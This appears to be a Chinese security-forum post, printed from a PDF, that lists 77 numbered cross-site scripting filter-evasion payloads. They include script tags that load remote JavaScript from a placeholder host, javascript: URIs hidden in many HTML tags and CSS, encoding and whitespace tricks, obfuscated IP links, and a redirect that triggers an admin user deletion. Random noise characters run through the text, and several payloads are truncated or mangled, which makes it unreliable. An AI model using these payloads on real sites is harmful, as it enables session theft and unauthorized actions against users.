貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
* Q& g+ Z2 t; H+ d(1)普通的XSS JavaScript注入
# ~. A; A" w; C<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>3 @/ h+ k7 H+ [& ?5 \8 C' x5 I
(2)IMG标签XSS使用JavaScript命令
5 S5 W; f3 E3 V% H<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>" W- L3 V/ K7 X, V
(3)IMG标签无分号无引号
3 ^* w; a! Z- D2 }- v$ S8 m<IMG SRC=javascript:alert(‘XSS’)>) [- N6 V8 q. b
(4)IMG标签大小写不敏感
0 v# s5 W' e1 L7 U+ H<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
( l9 f9 n7 d( i3 W8 B(5)HTML编码(必须有分号)+ }1 p& R0 f( v
<IMG SRC=javascript:alert(“XSS”)>, A1 J1 e# Y+ L( y9 \) t+ b( L
(6)修正缺陷IMG标签/ h) N4 p' w: j# O R y8 M
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>- l0 {( n9 W4 I, \# h' D( L
1 `1 \* g% N! R7 S1 I$ G4 h3 M- Y( m; a* E2 e1 Q
(7)formCharCode标签(计算器)
9 y( M K) d9 M<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
. F% q: H7 L8 g4 o2 X(8)UTF-8的Unicode编码(计算器)
- d( T: [2 D3 L8 V( \7 B<IMG SRC=jav..省略..S')>6 C4 ]; j% c: X
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
" J$ |: o- p0 Z7 Z<IMG SRC=jav..省略..S')>
4 l) a5 w5 b4 p( t& T9 }6 S6 f(10)十六进制编码也是没有分号(计算器)
% z% _- y5 G* ?; k<IMG SRC=java..省略..XSS')>
/ y; O7 Y7 O0 J. b* w(11)嵌入式标签,将Javascript分开$ A5 [) p# i, L+ f8 n
<IMG SRC=”jav ascript:alert(‘XSS’);”>9 o6 D7 a& m v) ?; B6 i
(12)嵌入式编码标签,将Javascript分开
* f, z) D" K+ {# v8 A<IMG SRC=”jav ascript:alert(‘XSS’);”>
1 c. T" y4 r- ^; U/ S4 k(13)嵌入式换行符
' d) d6 q& k4 M/ P& T! V<IMG SRC=”jav ascript:alert(‘XSS’);”>8 c! U$ D1 ?) K$ ]( j+ @# T( Y( m: E. O
(14)嵌入式回车
/ E! I, ~+ K4 N3 y<IMG SRC=”jav ascript:alert(‘XSS’);”>7 K+ X% s- i1 ^0 h
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
3 ^9 ~# |4 i9 {6 `<IMG SRC=”javascript:alert(‘XSS‘)”>
7 s8 r ]3 n; Y1 N(16)解决限制字符(要求同页面)
$ I: G- i8 |0 W' M' q7 v<script>z=’document.’</script>
* c( a8 ?8 n, a [ y( A9 T3 h<script>z=z+’write(“‘</script>
]3 ?3 l0 b2 F8 o<script>z=z+’<script’</script>5 `% D/ a. {; i7 n4 f+ V* |
<script>z=z+’ src=ht’</script>5 u' L$ [; j2 N7 s! H1 G
<script>z=z+’tp://ww’</script>
r% n- e& F$ i5 ~, e<script>z=z+’w.shell’</script>( W4 V5 ?+ k+ {
<script>z=z+’.net/1.’</script>" Y5 s6 t- X( y# s- I. a, k7 k
<script>z=z+’js></sc’</script>! p: W: Q& L: L! V l) K6 ~
<script>z=z+’ript>”)’</script>
3 w6 B9 F2 n" c$ w/ f, n<script>eval_r(z)</script>
6 n) o$ Q7 {/ j# p9 g(17)空字符12-7-1 T00LS - Powered by Discuz! Board+ {; o5 q# d% j7 \' L! V, X: F
https://www.t00ls.net/viewthread ... table&tid=15267 2/6
4 A% O4 k G" a, T. x) v; Kperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
1 F7 E K2 A* Q5 `- o R( h9 W(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用- A" V$ e( p1 o7 Z9 R9 Q3 S
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
* }0 O" U B* N(19)Spaces和meta前的IMG标签2 y/ B5 }1 f. ?) ?1 ]
<IMG SRC=” javascript:alert(‘XSS’);”>
6 g! w! F. r8 ~0 v7 q, E(20)Non-alpha-non-digit XSS
# l4 f& h+ D+ e- U& ^% \<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
3 A. C) T6 [( g6 ?9 [+ {(21)Non-alpha-non-digit XSS to 2( c8 d+ \, j- V0 g$ Z d2 Q ?
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
, T- i, J3 {# I; A1 k( ?$ I(22)Non-alpha-non-digit XSS to 3
# d6 F, u6 g X3 G( q<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
& ?8 k6 @; p$ q9 J(23)双开括号
# ^/ f/ \0 }, B4 V9 v Y<<SCRIPT>alert(“XSS”);//<</SCRIPT>) o* p, R5 J3 |, F3 [& r
(24)无结束脚本标记(仅火狐等浏览器)" a) a$ D. Q! p }- A* G; {5 y
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>6 W( w* ?8 Q+ ~6 V, g9 K* p
(25)无结束脚本标记2
3 u6 d" V9 m8 b( } G# V L<SCRIPT SRC=//3w.org/XSS/xss.js>
* |: t5 k$ v+ p0 f+ v' X(26)半开的HTML/JavaScript XSS
* U+ j, W. p& E' d/ k d0 R<IMG SRC=”javascript:alert(‘XSS’)”
: v! `! }4 i1 ]/ f0 I9 B& [(27)双开角括号
: M8 Z- Y4 d; d<iframe src=http://3w.org/XSS.html <
' y- c. @( ]' Z L- V( h(28)无单引号 双引号 分号
0 \2 K `! l7 a+ W<SCRIPT>a=/XSS/
+ [! t* a2 L$ Y) @# J4 T% E/ m' palert(a.source)</SCRIPT>
v: a; h( P; r2 X$ `" p; b K5 e6 I(29)换码过滤的JavaScript
3 \: J9 Z& [: u! q\”;alert(‘XSS’);//# j2 N2 S7 @7 s6 k3 q$ w4 |- H/ m
(30)结束Title标签$ G9 f; u, y& t" m2 b
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
9 z% T0 n( ^" W* I5 G(31)Input Image
$ a5 j2 k! z8 X* C. m<INPUT SRC=”javascript:alert(‘XSS’);”>
( q; W! D. J& t0 \- T! ~2 z(32)BODY Image
: Z4 J1 F! d! q<BODY BACKGROUND=”javascript:alert(‘XSS’)”>" V* R6 t4 T9 H3 m
(33)BODY标签
% Y9 t3 F2 F% h<BODY(‘XSS’)>+ o! u* O, I( z. w' ^4 P: K7 \% d
(34)IMG Dynsrc) {- a1 w' ~2 w5 d7 r' K
<IMG DYNSRC=”javascript:alert(‘XSS’)”>! w9 x7 J3 m0 C8 s1 l
(35)IMG Lowsrc- g4 e W5 r* ~
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
# j, @4 v/ X2 o3 w: a& Y(36)BGSOUND6 g% d, B/ }: v: @% n
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
6 K8 K1 h2 D8 q: m' s0 {(37)STYLE sheet
. N$ n; {; `4 D5 M<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>' E4 d: t/ F) [' _" c8 @
(38)远程样式表
1 l, j6 s. D( Y/ p* `) o9 d( `<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
: f# [+ T' `" T& O1 B* b(39)List-style-image(列表式)
2 C* u9 Y, f9 d1 ]3 ?# E2 Q<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
) Q" L4 s. t: m) G) G' Q# W(40)IMG VBscript
j' Q$ V* D2 T3 D9 Q: }( M<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
# W0 m4 m" `5 G/ w+ I9 |7 }(41)META链接url
j3 C3 v' F9 X% `. t4 N8 J6 X& w$ U$ j" k) C, H4 L: w- o
8 t3 i3 K; B6 q U
<META HTTP-EQUIV=”refresh” CONTENT=”0;
: v; [3 \3 T- C9 {% bURL=http://;URL=javascript:alert(‘XSS’);”>' l0 [% z6 L. N L$ N& T
(42)Iframe& i! x3 z1 r$ ]8 ^) a
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>/ ?5 i. F8 ~, G) D
(43)Frame
, i3 p6 p6 J+ P6 A$ f- U" A/ x$ i<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
3 W# c- r3 G9 a T3 o$ rhttps://www.t00ls.net/viewthread ... table&tid=15267 3/6
$ t% Q3 D+ x5 y J) ]1 J(44)Table+ T* I% f4 I) M7 U/ O- z7 [
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>- ?- @( M3 a r- |8 ~$ m2 t
(45)TD
! A6 V+ `% c ?$ ~1 d<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
% c- b* n) I( S# o+ h(46)DIV background-image
- G, W0 W4 m) R4 B4 R* H. b# J<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
/ h# K4 c! ~- ]* x7 Q- y; B3 c(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-
5 t# S* y7 O6 Q1 U m8&13&12288&65279)
! ^. U9 w3 M+ H# z6 s<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>; i2 L# a4 m; P* R
(48)DIV expression( Q# u9 U4 N4 @' b1 Y
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
% F! a" C7 ~1 r" P(49)STYLE属性分拆表达
4 ?" c5 ^" I& N- y& k* n<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>' G: |, A+ B$ L/ w! h }( a1 Z
(50)匿名STYLE(组成:开角号和一个字母开头)
! x! v, q, r" d! N x1 ?<XSS STYLE=”xss:expression_r(alert(‘XSS’))”># P B; @' p/ k
(51)STYLE background-image8 C* j9 N K. t' t* ^- z
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
; X' D g) K% L- p) {4 pCLASS=XSS></A># Z+ n F3 v5 h) \) w1 w% e
(52)IMG STYLE方式
( S6 A# n d5 ] Dexppression(alert(“XSS”))’>/ l+ S) B6 c/ S
(53)STYLE background2 g" h( s* R+ l- j" r* v# B
<STYLE><STYLE
5 W' K5 u) \. g9 n# utype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
( I0 R$ N5 l0 X" M# v(54)BASE I3 K' \3 l* k* ^, Z
<BASE HREF=”javascript:alert(‘XSS’);//”>
5 ~) A1 ]7 c3 b) m, b7 F1 I: b(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS9 _: M7 p6 d: r* K d3 @) J+ _% z3 }/ [
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
$ N. w1 T9 U- t" j# S. x(56)在flash中使用ActionScrpt可以混进你XSS的代码
8 G9 |& q) W7 ba=”get”;
6 m9 s5 N. W0 ^+ k7 }. C- w* xb=”URL(\”";
' ]$ F0 _0 r- h& F) i8 yc=”javascript:”;: m% n5 S1 [- G2 o9 O; f* x' J
d=”alert(‘XSS’);\”)”;
4 H1 L9 j6 B: X" U8 leval_r(a+b+c+d);
# V: o* S4 P+ O(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
4 k! d* ]! t4 C$ c<HTML xmlns:xss>
! x# `- R" l% F N<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>; t3 o/ B) ?# e; G+ Z
<xss:xss>XSS</xss:xss>
5 W/ S' j5 A5 w& n8 \. I# y</HTML>4 y( S$ k- ?& f5 k, O
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用* W+ H$ {5 k# b& N( I7 Z/ B$ q
<SCRIPT SRC=””></SCRIPT>
3 d7 Z9 W2 h! O+ F* o6 F* S/ B(59)IMG嵌入式命令,可执行任意命令2 E+ f! \- w0 k7 X% H5 A# i
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
! @2 n2 o) H& K! p# ~, D- ~(60)IMG嵌入式命令(a.jpg在同服务器)
2 n% c0 K! p Z* f' lRedirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser! l9 `. @. I8 Y5 ^
(61)绕符号过滤
0 I7 B+ F- s6 L: C1 V* w<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>( a# \9 ~/ q6 r) l! I& H y, D
(62)
+ S3 t5 c8 F0 i0 H<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>) R9 _0 Y8 Q& C
(63). [- D, }5 p, x( q# m) S/ \8 G
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
1 ?4 m) ~- L$ q(64)
4 d! Z7 N# [: B: O, y<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>! ~" a( h6 I: N3 z) |
(65)
3 V* M4 T2 w- c/ p/ T3 K<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
3 E/ C" `' W6 I(66)12-7-1 T00LS - Powered by Discuz! Board
% a0 d: }# n" B# s4 X9 Ghttps://www.t00ls.net/viewthread ... table&tid=15267 4/6
- u' C& O* _3 Z5 i1 d" M# z<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>% @* W E6 j# Z/ A4 X/ m
(67): H' m3 j* T2 M, K9 _6 G
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”>
+ g/ z: O1 O( x. }' y: m</SCRIPT>
* `9 R# }" s8 Q(68)URL绕行$ C0 u2 d9 s, x3 b5 \
<A HREF=”http://127.0.0.1/”>XSS</A>5 r7 l5 V: E) e
(69)URL编码! }1 d$ h. s4 n0 d% z
<A HREF=”http://3w.org”>XSS</A>7 Y5 n4 L& t' O6 _, H4 j
(70)IP十进制0 w8 `$ z% }0 ?* b3 Y3 F8 C
<A HREF=”http://3232235521″>XSS</A>
3 A3 O* L6 I4 c# _& D4 u3 O! V0 n(71)IP十六进制. M j+ R( ^. O# Q$ G3 B
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>$ K* s! h' z* v- w* O
(72)IP八进制
6 L8 h. Y7 N! B) r" ~<A HREF=”http://0300.0250.0000.0001″>XSS</A>3 c( M! @" Z5 J5 r) \' e
(73)混合编码6 G, O5 y6 U+ X; j& V2 H
<A HREF=”h
' |( W/ F* ?$ }" o C. j5 ftt p://6 6.000146.0×7.147/”">XSS</A>
8 f3 a$ m/ \+ x8 i) @9 s3 B(74)节省[http:]
3 b# ?. z. ~5 O) u<A HREF=”//www.google.com/”>XSS</A>
( @. z. n U7 A! [- x5 z(75)节省[www]0 a! Y% W% d9 W* n" _) g
<A HREF=”http://google.com/”>XSS</A>
; {6 Y' [0 J6 ^% w8 F' B8 Y(76)绝对点绝对DNS6 c5 L! t! b2 n6 o: o x
<A HREF=”http://www.google.com./”>XSS</A>& F5 b$ Q8 ~; f7 c
(77)javascript链接
: }& P _- ~4 ^) G<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
& W# m- J# d. l4 E0 v3 s( H3 M9 V" t% R- x, v
原文地址:http://fuzzexp.org/u/0day/?p=14
* e* p4 q2 P8 V3 y
, o8 z9 l) [1 o* b6 { |